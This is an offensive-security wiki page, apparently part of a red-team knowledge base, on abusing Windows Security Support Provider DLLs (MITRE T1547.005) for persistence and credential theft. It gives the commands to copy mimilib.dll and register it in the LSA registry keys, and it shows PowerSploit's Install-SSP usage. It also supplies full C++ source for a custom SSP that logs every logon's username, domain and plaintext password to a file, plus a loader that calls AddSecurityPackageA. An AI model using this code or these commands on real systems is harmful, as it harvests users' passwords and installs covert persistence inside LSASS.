Security Support Provider DLLs
MITRE ATT&CK™ Boot or Logon Autostart Execution: Security Support Provider - Technique T1547.005
Theory
We may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.
Practice
We won't be able to make it work If LSA protection (RunAsPPL) is enabled. Loaded SSP DLLs will have to be signed by Microsoft as LSASS.exe will run as a Protected Process Light (PPL).
We may modify LSA Registry keys to add new SSPs which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. The SSP configuration is stored in this two Registry keys:
- HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
- HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages.
The Mimikatz project provides a DLL file (mimilib.dll) that can be used as a malicious SSP DLL that will log credentials in this file:
C:\Windows\System32\kiwissp.log First, you will have to copy mimilib.dll in System32
copy C:\Windows\Temp\mimilib.dll C:\Windows\System32\mimilib.dllThen, edit LSA registry keys to include the new security support provider
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /fPowerSploit's Install-SSP Persistence module can be used to install a SSP DLL.
Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dllBelow is the code, originally taken from mimikatz, adapted and refactored, that we can compile as our own Security Support Provider DLL. It intercepts authenticatin details and saves them to a file c:\temp\lsa-pwned.txt:
#include "stdafx.h"
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; }
NTSTATUS NTAPI SpShutDown(void) { return 0; }
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
	PackageInfo->Name = (SEC_WCHAR *)L"SSPCustom";
	PackageInfo->Comment = (SEC_WCHAR *)L"SSPCustom <o>";
	PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
	PackageInfo->wRPCID = SECPKG_ID_NONE;
	PackageInfo->cbMaxToken = 0;
	PackageInfo->wVersion = 1;
	return 0;
}
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
	HANDLE outFile = CreateFile(L"c:\\temp\\lsa-pwned.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD bytesWritten = 0;
	
	std::wstring log = L"";
	std::wstring account = AccountName->Buffer;
	std::wstring domain = PrimaryCredentials->DomainName.Buffer;
	std::wstring password = PrimaryCredentials->Password.Buffer;
	log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n");
	WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL);
	CloseHandle(outFile);
	return 0;
}
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] = 
{
	{
		NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,	SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL 
	}
};
// SpLsaModeInitialize is called by LSA for each registered Security Package
extern "C" __declspec(dllexport) NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
	*PackageVersion = SECPKG_INTERFACE_VERSION;
	*ppTables = SecurityPackageFunctionTable;
	*pcTables = 1;
	return 0;
}Then, here is a code that loads the malicious SSP custom.dll:
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")
int main()
{
	SECURITY_PACKAGE_OPTIONS spo = {};
	SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\temp\\sspcutsom.dll", &spo);
	return 0;
}In-memory DLL injection - Credential Access
We may directly inject SSP DLLs into memory. It prevent us from editing registries but using this approach, it will not persist accross reboots.
Resources
Last updated
Was this helpful?


